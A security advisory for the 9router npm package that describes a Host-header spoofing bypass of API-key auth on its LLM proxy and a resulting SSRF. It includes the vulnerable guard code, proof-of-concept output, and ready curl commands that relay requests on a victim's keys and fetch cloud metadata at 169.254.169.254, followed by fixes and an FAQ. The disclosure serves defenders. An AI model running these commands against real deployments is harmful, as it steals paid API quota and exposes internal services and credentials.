GHSA-86m2-fcxq-5q7c: SSRF
Summary
9router's request guard decides a request is "local" (and therefore exempt from API-key auth on the /v1 LLM proxy) by reading the client-controlled Host header. Because 9router binds 0.0.0.0 by default (and the CLI misleadingly prints "localhost"), a remote, unauthenticated attacker who can reach the port can send Host: localhost to be treated as local and obtain /v1 proxy access with no API key, no CLI token, and no dashboard login. In the default configuration (requireApiKey is absent from DEFAULTSETTINGS, so the handler-side key check is skipped), this yields:
- Open AI relay — the proxy forwards the attacker's requests to AI providers using the victim's stored paid API keys (cost/quota theft, prompt-based data exfiltration through the victim's accounts). - Unauthenticated SSRF — /v1/search with the built-in noAuth searxng provider takes its outbound fetch URL from the request body (provideroptions.baseUrl), so the attacker drives a server-side fetch to any internal/cloud-metadata host and gets the JSON response reflected back.
- Affected: 9router <= 0.4.80 (current), src/dashboardGuard.js (isLocalRequest), src/sse/handlers/{chat,search}.js, src/lib/db/repos/settingsRepo.js, cli/cli.js. - Distinct from the existing advisories GHSA-fhh6-4qxv-rpqj (MCP-plugin RCE, patched) and GHSA-xrrh-p7f2-27vm (legacy <0.3.75 authz bypass).
Details
The bypass (src/dashboardGuard.js) js function isLoopbackHostname(h){ const name=h.split(":")[0].replace(/^\[|\]$/g,"").toLowerCase(); return new Set(["localhost","127.0.0.1","::1"]).has(name); } function isLocalRequest(request){ if (!isLoopbackHostname(request.headers.get("host"))) return false; // <-- client-controlled Host const origin = request.headers.get("origin"); if (origin){ try { if (!isLoopbackHostname(new URL(origin).hostname)) return false; } catch { return false; } } return true; } async function canAccessPublicLlmApi(request){ if (isLocalRequest(request)) return true; // <-- "local" => no key required if (await hasValidCliToken(request)) return true; return await hasValidApiKey(request); } isLocalRequest never consults the socket peer address — only the spoofable Host header (and an absent/loopback Origin). The /v1,/v1beta,/api/v1,/api/v1beta prefixes are gated solely by canAccessPublicLlmApi.
Default exposure - cli/cli.js:63 const DEFAULTHOST = "0.0.0.0"; and Dockerfile ENV HOSTNAME=0.0.0.0 / EXPOSE 20128 → reachable from the network by default. - cli/cli.js:500,541 display "localhost" even when bound to 0.0.0.0 — operators believe it's local-only. - src/lib/db/repos/settingsRepo.js DEFAULTSETTINGS has no requireApiKey → the handler key checks (chat.js if (settings.requireApiKey), search.js same) are skipped by default.
Relay chain (verbatim trace, 0.4.71) middleware (src/proxy.js, matcher covers all paths) → canAccessPublicLlmApi true via spoofed Host → next.config.mjs rewrites /v1/:path→/api/v1/:path → src/app/api/v1/messages/route.js POST → handleChat (no independent auth) → only gate falsy requireApiKey → getProviderCredentials() loads the victim's stored credentials → handleChatCore outbound fetch → response returned. No downstream key gate.
SSRF chain search.js (only gate falsy requireApiKey) → searxng noAuth:true ⇒ handleSearchCore({credentials:null}) → coreBody.provideroptions = body.provideroptions → callers.js: js export function resolveBaseUrl(config, params){ const override = getProviderSetting(params, "baseUrl"); // reads params.providerOptions.baseUrl FIRST return (override || config.baseUrl).replace(/\/+$/, ""); } → buildSearxngRequest appends /search?q=...&format=json&categories=general → fetch(url) (server-side) → JSON reflected to caller.
PoC
Ground-truth, no network egress: harness/hostspoof.mjs (verbatim guard logic) and harness/ssrfsearch.mjs (imports the real handleSearchCore + AIPROVIDERS.searxng).
Guard bypass (hostspoof.mjs, exit 2): attacker: remote, NO api key, NO cli token. Want canAccessPublicLlmApi === true == BYPASS denied honest remote (real Host) ALLOWED SPOOF Host: localhost (no Origin) ALLOWED SPOOF Host: 127.0.0.1 ALLOWED SPOOF Host: localhost:20128 denied SPOOF Host + Origin evil (blocked) RESULT: BYPASS — remote key-less attacker spoofing Host: localhost is granted /v1 proxy access.
SSRF (ssrfsearch.mjs, real imported code): [] searxng configured baseUrl: http://localhost:8888/search [] attacker provideroptions.baseUrl: http://127.0.0.1:<port> [] credentials passed to core: null (noAuth => key-less attacker) internal service reached by 9router process: true path hit: /search?q=x&format=json&categories=general data returned to attacker: [{"title":"INTERNAL-DATA",...,"content":"leaked"...}] SSRF CONFIRMED: key-less request drove a server-side fetch to attacker URL.
Live confirmation against a RUNNING 9router (real HTTP, not just source/harness)
Built & ran 9router@0.4.71 (Next.js 16.2.9, bound 0.0.0.0:20128, default settings, no provider configured, no api key/login). Attacker = a request to the box's non-loopback LAN IP 10.204.111.34 (a genuine remote peer); only the Host header differs between the control and the attack:
(A) honest Host (the IP): POST /v1/search Host: 10.204.111.34:20128 => HTTP 401 {"error":"API key required for remote API access"} [guard blocks remote]
(B) spoofed Host: localhost: POST /v1/search Host: localhost body: {"provider":"searxng","query":"x","provideroptions":{"baseUrl":"http://127.0.0.1:19099"}} => HTTP 200, and the attacker's listener logged: [ATTACKER-LISTENER] 9router CONNECTED: GET /search?q=x&format=json&categories=general | from 127.0.0.1 => the 9router SERVER PROCESS issued a GET to the attacker-controlled URL = unauthenticated SSRF.
(B') relay path POST /v1/messages, same Host-spoof: honest Host => 401 ; Host: localhost => 404 {"error":"No active credentials for provider: openai"} => bypass reached handleChat's provider selection (would forward on the VICTIM'S key if one were configured). Changing only the Host header (401 → reaches the handler), from the same remote peer, is the entire bypass — confirmed live on a default-config running instance. (Full SSRF response reflection requires the upstream to return searxng-shaped JSON; otherwise it is a blind/semi-blind SSRF — the server-side request to the attacker URL is the proven primitive. The relay needs ≥1 configured provider — the normal state — to actually spend the victim's key.) See repro/LIVE-EVIDENCE.txt.
Reproduce (against a network-reachable 9router; VICTIMIP = the box): bash Open AI relay — no Authorization/x-api-key/cookie; victim's key pays: curl -sS http://VICTIMIP:20128/v1/messages -H 'Host: localhost' -H 'Content-Type: application/json' \ -d '{"model":"claude-3-5-sonnet-20241022","maxtokens":64,"messages":[{"role":"user","content":"relay test"}]}'
SSRF — attacker-controlled server-side fetch (e.g. cloud metadata), JSON reflected: curl -sS http://VICTIMIP:20128/v1/search -H 'Host: localhost' -H 'Content-Type: application/json' \ -d '{"provider":"searxng","query":"x","provideroptions":{"baseUrl":"http://169.254.169.254/latest/meta-data"}}'
Impact
Any 9router reachable on a network (default 0.0.0.0 bind, plus Docker -p, tunnel, or tailscale — all first-class features) can be: - used as a free AI relay billed to the victim's provider accounts, exhausting quota and exfiltrating data through their keys; and - used to reach internal services / cloud metadata (169.254.169.254) with the response reflected to the attacker. Unauthenticated, no user interaction, default configuration. The only precondition is the normal one (≥1 configured provider).
Recommended fix 1. Determine "local" from the socket peer IP, never the Host header — treat as local only if the TCP peer is 127.0.0.0/8 / ::1. 2. Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0; fix the CLI to not print "localhost" when bound to all interfaces. 3. For any non-loopback peer, require a valid API key regardless of requireApiKey; add requireApiKey: true to DEFAULTSETTINGS (fail-closed). 4. Validate provideroptions.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl. 5. Remove Access-Control-Allow-Origin: from /v1 GET metadata routes.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/9routerto a version that resolves this vulnerability.Fixed in 0.5.2 - Configuration
Bind 9router to 127.0.0.1 by default (avoid default 0.0.0.0). The material notes this bypass exists when bound to 0.0.0.0:20128, and recommends: "Bind 127.0.0.1 by default; require an explicit, warned opt-in for 0.0.0.0".
9router (server) network bind address = 127.0.0.1 - Configuration
Change isLocalRequest to determine "local" from the socket peer IP (e.g., treat as local only if TCP peer is 127.0.0.0/8 or ::1) rather than reading client-controlled Host. The material states: "Determine 'local' from the socket peer IP, never the Host header" because isLocalRequest currently uses the spoofable Host header.
9router request guard (isLocalRequest / src/dashboardGuard.js) local-request determination = use TCP peer IP, not Host header - Configuration
Set requireApiKey: true in src/lib/db/repos/settingsRepo.js DEFAULT_SETTINGS so handler-side checks do not get skipped by default. The material notes DEFAULT_SETTINGS has no requireApiKey, causing the chat.js/search.js checks to be skipped.
9router API access control (search/chat handlers) DEFAULT_SETTINGS.requireApiKey = true - Configuration
Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges in resolveBaseUrl (including preventing access to 169.254.169.254). The material explicitly says: "Validate provider_options.baseUrl against an allowlist (or drop the override) and block requests to private/link-local ranges".
9router provider URL handling (resolveBaseUrl / resolveBaseUrl config.baseUrl override) provider_options.baseUrl validation = allowlist only + block private/link-local ranges - Configuration
Remove the header Access-Control-Allow-Origin: * from /v1 GET metadata routes.
9router CORS (v1 GET metadata routes) Access-Control-Allow-Origin = remove wildcard '*' for /v1 GET metadata routes - Compensating control
Use an egress control so the 9router process cannot reach attacker-controlled or internal destinations (material describes confirming SSRF with no network egress via harness, but also indicates the SSRF primitive is server-side fetch). Ensure network egress from the 9router server is restricted to intended destinations only.
Event History
Frequently Asked Questions
Which deployments are exposed to remote exploitation?
Deployments running 9router version 0.4.80 or earlier are exposed if an attacker can reach the service port over the network. The default bind address is 0.0.0.0, even though the CLI displays “localhost,” so a default deployment may be externally reachable depending on network controls.
What does an attacker need to bypass authentication?
The attacker needs only network access to the 9router port and can send a request with a client-controlled Host header set to localhost. No API key, CLI token, or dashboard login is required for the described bypass.
Is the default configuration affected?
Yes. requireApiKey is absent from DEFAULT_SETTINGS by default, which skips the handler-side API-key check. In that configuration, requests treated as local can access the /v1 proxy without an API key.
What could an unauthenticated attacker do after bypassing the guard?
They can use the victim's stored AI-provider API keys through the proxy, potentially consuming paid quota and accessing data through those provider accounts. They can also use /v1/search with the built-in noAuth searxng provider to fetch attacker-selected internal or cloud-metadata URLs and receive the reflected JSON response.
How can I identify whether my instance is likely affected?
Check whether the instance runs 9router 0.4.80 or earlier, is reachable beyond the local host, and relies on the default settings without requireApiKey. A request to /v1 using Host: localhost is the condition described as causing the request to be classified as local.